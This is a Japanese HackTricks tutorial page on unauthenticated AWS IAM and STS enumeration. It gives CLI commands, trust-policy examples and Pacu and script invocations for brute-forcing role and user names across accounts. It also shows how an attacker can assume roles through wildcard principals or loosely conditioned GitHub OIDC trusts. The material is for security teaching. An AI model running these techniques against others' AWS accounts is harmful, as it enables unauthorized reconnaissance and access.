AWS - IAM & STS Unauthenticated Enum

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

アカウント内のロールとユーザー名を列挙する

Assume Role Brute-Force

この技術はもう機能しません。ロールが存在するかどうかに関わらず、常にこのエラーが発生します:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

これをテストするには次を実行します:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

必要な権限なしでロールを引き受けようとすると、AWSエラーメッセージがトリガーされます。例えば、権限がない場合、AWSは次のように返すかもしれません:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

このメッセージはロールの存在を確認しますが、ロールの引き受けポリシーがあなたの引き受けを許可していないことを示しています。対照的に、存在しないロールを引き受けようとすると異なるエラーが発生します:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

興味深いことに、この既存のロールと存在しないロールを識別する方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストがあれば、アカウント内のロールを制限なく列挙することができます。

この問題を悪用して潜在的なプリンシパルを列挙するスクリプトを使用できます。

Trust Policies: Brute-Force Cross Account roles and users

IAMロールの信頼ポリシーを設定または更新することは、そのロールを引き受けて一時的な資格情報を取得することを許可されるAWSリソースまたはサービスを定義することを含みます。ポリシーで指定されたリソースが存在する場合、信頼ポリシーは正常に保存されます。しかし、リソースが存在しない場合エラーが生成され、無効なプリンシパルが提供されたことを示します。

そのリソースにはクロスアカウントロールまたはユーザーを指定できることに注意してください:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

これはポリシーの例です:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

これは、存在しないロールを使用した場合に見つかるエラーです。ロールが存在する場合、ポリシーはエラーなしで保存されます。(エラーは更新時のものですが、作成時にも機能します)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

このプロセスを自動化するには https://github.com/carlospolop/aws_tools を使用できます。

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

または Pacu を使用する場合:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • この例で使用されている admin ロールは、pacu が必要なポリシーを作成するために偽装されるアカウント内のロールです。

Privesc

ロールが誤って設定され、誰でもそれを引き受けることができる場合:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

攻撃者はそれを仮定するだけかもしれません。

Third Party OIDC Federation

Github Actions workflowAWS内のroleにアクセスしているのを読み取ることができたと想像してください。 この信頼は、次のtrust policyを持つロールへのアクセスを与えるかもしれません:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

この信頼ポリシーは正しいかもしれませんが、条件が少なすぎるため、信用しない方が良いでしょう。 これは、前述のロールがGithub Actionsの誰でも引き受けることができるからです!条件には、組織名、リポジトリ名、環境、ブランチなども指定する必要があります。

もう一つの潜在的な誤設定は、次のような条件を追加することです:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

コロン (:) の前に ワイルドカード (*) があることに注意してください。org_name1 のような組織を作成し、Github Action から ロールを引き受ける ことができます。

参考文献

AWS ハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCP ハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks をサポートする

Last updated